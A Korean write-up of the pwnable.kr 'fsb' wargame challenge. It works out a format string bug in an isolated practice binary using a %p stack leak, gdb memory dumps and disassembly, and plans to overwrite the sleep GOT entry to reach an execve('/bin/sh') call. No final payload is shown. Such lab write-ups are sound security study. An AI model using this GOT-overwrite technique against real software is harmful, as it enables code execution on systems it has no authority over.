[Rookiss] fsb
fsb.c 소스
8byte의 랜덤한 key값을 알면 "/bin/sh" 쉘을 띄워준다. 그리고 포맷스트링 버그를 일으키는 루틴이 총 4번 존재하며 buf가 전연변수여서 스택값을 컨트롤 할 수 없는 상황이다.
현재 환경에서 스택에 어떤 값들이 존재하는지 확인해본다.
fsb@ubuntu:~$ ./fsb
Give me some format strings(1)
%p%p%p%p%p%p%p%p%p%p
0x804a1000x640xf774b43e0xf77600000x10000x10xf7760ff40xf77405c90x8048870(nil)
(gdb) x/40x $esp
0xffbe47b0: 0x0804a100 0x0804a100 0x00000064 0x00000000
0xffbe47c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffbe47d0: 0x00000000 0x08048870 0x00000000 0x00000000
0xffbe47e0: 0xffbe6c50 0xffbe6fe9 0xffbe4800 0xffbe4804
0xffbe47f0: 0x00000000 0x00000000 0xffbe6b58 0x08048791
0xffbe4800: 0x00000000 0x00000000 0x00000000 0x00000000
0xffbe4810: 0x00000000 0x00000000 0x00000000 0x00000000
0xffbe4820: 0x00000000 0x00000000 0x00000000 0x00000000
Breakpoint 1, 0x08048610 in fsb ()
(gdb) x/40x $esp
0xfff533e0: 0x0804a100 0x0804a100 0x00000064 0x00000000
0xfff533f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xfff53400: 0x00000000 0x08048870 0x00000000 0x00000000
0xfff53410: 0xfff657b0 0xfff65fe9 0xfff53430 0xfff53434
0xfff53420: 0x00000000 0x00000000 0xfff656b8 0x08048791
0xfff53430: 0x00000000 0x00000000 0x00000000 0x00000000
0xfff53440: 0x00000000 0x00000000 0x00000000 0x00000000
0xfff53450: 0x00000000 0x00000000 0x00000000 0x00000000
0xfff53460: 0x00000000 0x00000000 0x00000000 0x00000000
0xfff53470: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb)
위의 굵게 표시한 주소들은 항상 일정한 오프셋을 가지고 있고, 현재 esp로 부터 꽤 가까운 곳을 가리킨다.
위의 저 파란 부분을 FSB로 원하는 주소로 덮어버린다. ( got주소나 전연변수 key의 주소 등으로 .? )
그리고 FSB로 만든 주소의 위치에 FSB로 다시 원하는 값을 넣는다.
(gdb) x/3i 0x8048400
0x8048400 <sleep@plt>: jmp *0x804a008
0x8048406 <sleep@plt+6>: push $0x10
0x804840b <sleep@plt+11>: jmp 0x80483d0
0x0804869f <+363>: movl $0x80488ae,(%esp)
0x080486a6 <+370>: call 0x8048410 <puts@plt>
0x080486ab <+375>: mov -0x24(%ebp),%eax
0x080486ae <+378>: movl $0x0,0x8(%esp)
0x080486b6 <+386>: lea -0x24(%ebp),%edx
0x080486b9 <+389>: mov %edx,0x4(%esp)
0x080486bd <+393>: mov %eax,(%esp)
0x080486c0 <+396>: call 0x8048450 <execve@plt>